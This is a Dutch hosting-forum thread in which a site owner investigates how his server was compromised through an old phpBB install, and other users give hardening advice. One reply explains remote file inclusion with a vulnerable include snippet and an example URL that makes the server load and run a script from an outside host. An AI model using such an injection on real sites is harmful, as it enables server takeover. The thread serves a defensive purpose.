Bekijk Volledige Versie : Beveiligen server + lek achterhalen
Hoi,
Ik had vandaag een mailbox vol van mensen die zeggen dat ik www.domeinnaam.nl/id.txt heb draaien (leuk php filetje voor hacken van andere servers.)
dit bestand is geupload via een wanadoo ip adres. deze gebruiker gebruikte de site ook om eigen bestanden te hosten. Het is een call of duty speler stonden namelijk veel screenshots op de site die ik daar niet heb neer gezet.
Ook stonden er 2 filmpjes waarin 2 wwebhosting websites gehackt werden. De betreffende hosting bedrijven hebben deze in hun mailbox liggen. Weet niet of ze er wat aan hebben maar altijd handig om de film te hebben.
Maar mijn vraag is hoe kan ik achterhalen hoe de gebruiker aan het ftp password is gekomen? Ik heb de website maar offline gehaalt en een backup terug gezet en zonder forum want ik denk dat daar het lek in zit. maar hoe kan ik bij deze gevallen achterhalen waar het lek zit? en hoe kan je je hier tegen beveiligen als hosting bedrijf? Was toevallig een eigen site maar kan natuurlijk ook bij klanten gebeuren. geven ze mij natuurlijk weer de schuld :(
DelekiHosting
29/08/07, 08:23
Wat voor forum heb/had je draaien?
soulplayer
29/08/07, 09:02
kun je niet gewoon dat bestandje bekijken ? Waarschijnlijk is het dat bestandje dat uitlegt hoe je server gehacked is geweest?
meestal komen zei binnen via een upload mogelijkheid in jouw forum, cms of ander php script.
.pl bestandje uploaden en deze aanroepen en laten uitvoeren, in het .pl bestand staan opdrachten als: create direcory, chmod, create file met content, of wget/get bestanden vanaf een andere server.
dit is 1 van de mogelijkheden, uiteraard zijn er meer mogelijkheden om exploits te gebruiken in bestaande php scripts.
wat hier aan te doen?
tja, je hoster kan hier weinig aan doen, deze kan het een en ander wel beveiligen echter dit heeft dan ook weer nadelelen voor een hoop andere scripts op de server.
zorg ervoor waneer je gebruik maakt van een forum, cms dat je bent ingescreven in de maillinglist van de makers van het script zodat je bij nieuwe updates hier een melding van krijgt.
Update je script altijd met de laatste updates/versie van het het betreffende script.
Gebruik geen bagger scripts als phpbb, oude joombla versies etc etc
Vraag of je hoster indien de safemode uit staat deze weer aan te zetten, scheelt een hoop ellende.
vraag of je hoster de /tmp partitie heeft beveiligd, kijk of gevaarlijke functies zoals exec, shell_exex etc zijn gedisabled in php.
vraag of de openbasedir uit staat.
Waneer bovenstaande niet geregeld is dan heb je een zeer slechte hoster, dit zijn toch wel de minimale vereisten aan een (shared)webserver.
Controleer je apache logfiles en zoek eventueel op het betreffende IP of bestand.
wellicht verklaart de logfile hoe zij dit bestand hebben geupload.
Hoogswaarschijnlijk hebben ze geen toegang via FTP, en uploaden alle bestanden middels het http protocol.
P.S, we zijn eigelijk best nieuwschierig naar de betreffende filmpjes waarin andere sites worden gehacked.
Ramon Fincken
29/08/07, 11:04
wellicht een anon FTP ?
Ja er stond een verouderde versie van phpbb op de site, deze heb ik offline gehaald. Ze hadden het ftp password weten te achterhalen, waarschijnlijk door naar de mysql password te kijken.
savemode staat uit,openbasedir staat uit. hoe zorg ik dat die commando's zoals exec, system disabled worden?
hrodenburg
29/08/07, 14:19
hoe zorg ik dat die commando's zoals exec, system disabled worden?
met "disable_functions" in je php.ini :) Makkelijker kan bijna niet. Maar daarmee beveilig je natuurlijk nog niet alles hè.
crazycoder
29/08/07, 15:36
Ja er stond een verouderde versie van phpbb op de site, deze heb ik offline gehaald. Ze hadden het ftp password weten te achterhalen, waarschijnlijk door naar de mysql password te kijken.
Afhankelijk van het lek hoef je het ftp wachtwoord helemaal niet te hebben :)
Afhankelijk van het lek hoef je het ftp wachtwoord helemaal niet te hebben :)
Nah maar deze gebruiker was via ftp de bestanden aan het uploaden. Vond dit namelijk terug in proftpd.log (met z'n ip erbij)
Maar door de functions te disablen kan ik volgens mij nog wel commando's uitvoeren door dit te doen:
<?
echo `uptime`;
?>
dus zoveel veiliger is het niet?
Maar door de functions te disablen kan ik volgens mij nog wel commando's uitvoeren door dit te doen:
<?
echo `uptime`;
?>
Dat gebruikt intern shell_exec().
Zet je dat uit dan werken ook de backticks niet meer.
Kijk eens op VWAR geinstalleerd is op dat domein. (Wordt door veel gamers gebruit om stats bij te houden)
Ik heb regelmatig last daarvan gehad dat scripts vwar gebruikten om informatie te versturen naar buiten.
Nee kan geen vwar vinden :)
FransVanNispen
05/09/07, 01:31
99% van de gevallen gebruiken ze remote include mogelijkheden van scripts die de variabelen die op de URL meegegeven kunnen worden niet goed afchecken, of die gebruik maken van een variabele voor een include locatie.
In oudere versies van phpBB: $phpbb_root_path
Bijv:
[code]
<?php
include $phpbb_root_path."/mijnscript.php";
?>
Op de URL geven ze dan simpel op:
website.nl/lekscript.php?phpbb_root_path=http://www.xentronix.nl/showhack.txt?
Showhack is in dit geval een simpel PHP script waarmee een text wordt geprint om te testen of een URL die we in een log tegenkomen ook daadwerkelijk laat includen.
Het script dat ze via deze weg laden wordt gewoon uitgevoerd op de server als ware het een lokaal script. Veelal zijn het scripts om systeem informatie te vergaren. Maar het komt ook vaak voor dat het een bootstrap is voor het starten van perl scripts of een doodgewoon mailer script dat misbruikt wordt voor het versturen van bulken mail via een simpel webformulier dat de included file laat zien.
Als zij een PHP-shell uploaden, kunnen ze vanuit daar heel simpel files zoeken, aanpassen en uploaden. r57 is zo'n shell, en wat dat ding kan wordt je niet direct vrolijk van als webmaster.
Wat kun je doen?
1. mod_security installeren en op deze manier voorkomen dat in een URL http voorkomt en legio andere regels die bijv. de bekende exploiteerbare variabelen afvangen. mod_security zal in geval van zo'n poging een 403 geven.
2. perl uitschakelen voor alle andere gebruikers dan root (chmod 500 /bin/perl en chown root: /bin/perl voldoet meestal)
3. Zorgen dat je PHP 5.2.0 of hoger draait en de optie 'allow_url_include = Off' opnemen in je php.ini
Dit zorgt ervoor dat je geen includes meer kan doen in een script die niet lokaal op de server aanwezig is.
100% kun je nooit garanderen dat je niet gehacked wordt, en helaas zal het op een shared server niet meevallen om in alle gevallen bijv. perl uit te schakelen of allow_url_include uit te zetten. Sommige scripts maken er juist weer gebruik van.